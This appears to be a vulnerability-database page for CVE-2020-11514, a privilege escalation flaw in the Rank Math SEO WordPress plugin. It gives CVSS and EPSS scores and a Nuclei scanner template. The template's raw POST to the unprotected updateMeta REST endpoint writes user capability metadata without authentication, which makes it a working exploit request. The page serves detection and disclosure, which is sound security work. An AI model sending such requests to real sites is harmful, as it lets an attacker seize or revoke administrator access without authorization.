SecurityContext

CVE-2020-11514: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint

Classification

  • Cwe: CWE-862
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.1086
  • Epss percentile: 0.95974
  • Cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: seo
  • Publicwww-query: /wp-content/plugins/seo-by-rank-math/
  • Vendor: rankmath
  • Verified: yes

Products

ProductIndexedUrl
rankmath:seoyes/v1/products/rankmath/seo

Labels

  • Name: Rank Math - Privilege Escalation
  • Impact: Attackers can escalate privileges or revoke admin rights, potentially compromising the entire WordPress site.
  • Remediation: Update to the latest version of Rank Math plugin that addresses this vulnerability.
  • Vulnerability type: broken_access_control
  • Vulnerability impact: privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2020-11514
  • Not known: requirements

```yaml

id: CVE-2020-11514

info:

name: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint

author: s4e-io

severity: critical

description: |

The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.

impact: |

Unauthenticated attackers can escalate their privileges to administrator level or revoke administrative access from legitimate users, leading to complete compromise of the WordPress site.

remediation: |

Update the Rank Math SEO plugin to version 1.0.41 or later.

reference:

- https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/

- https://rankmath.com/changelog/

- https://wordpress.org/plugins/seo-by-rank-math/#developers

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2020-11514

cwe-id: CWE-862

epss-score: 0.1086

epss-percentile: 0.95974

cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*

metadata:

verified: true

max-request: 2

vendor: rankmath

product: seo

framework: wordpress

publicwww-query: "/wp-content/plugins/seo-by-rank-math/"

tags: cve,cve2020,wordpress,wordfence,seo-by-rank-math,wp-plugin,priv-esc,unauth,vkev,vuln

variables:

objecttype: "{{randstr}}"

rank: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:

- method: GET

path:

- "{{BaseURL}}/wp-content/plugins/seo-by-rank-math/readme.txt"

matchers:

- type: dsl

internal: true

dsl:

- 'status_code == 200'

- 'contains(body, "Rank Math")'

condition: and

- raw:

- |

POST /wp-json/rankmath/v1/updateMeta HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{

"objectID": "{{rand_int(1)}}",

"objectType": "{{objecttype}}",

"meta": {

"rank_math_capabilities": ["{{rank}}"]

}

}

matchers:

- type: dsl

dsl:

- 'contains(body, "true")'

- 'contains(content_type, "application/json")'

- "status_code == 200"

condition: and

digest: 4a0a00473045022100bb748d46e2ec4cc1204fccd5e7d827c622ba8d20c8b6c8bc5ecf016ab071897202203e97c28a9dd97c1677a6b53fe2b4eaf935036052c7087cde148b6b48f46ab7e3:922c64590222798bb761d5b6d8e72950

```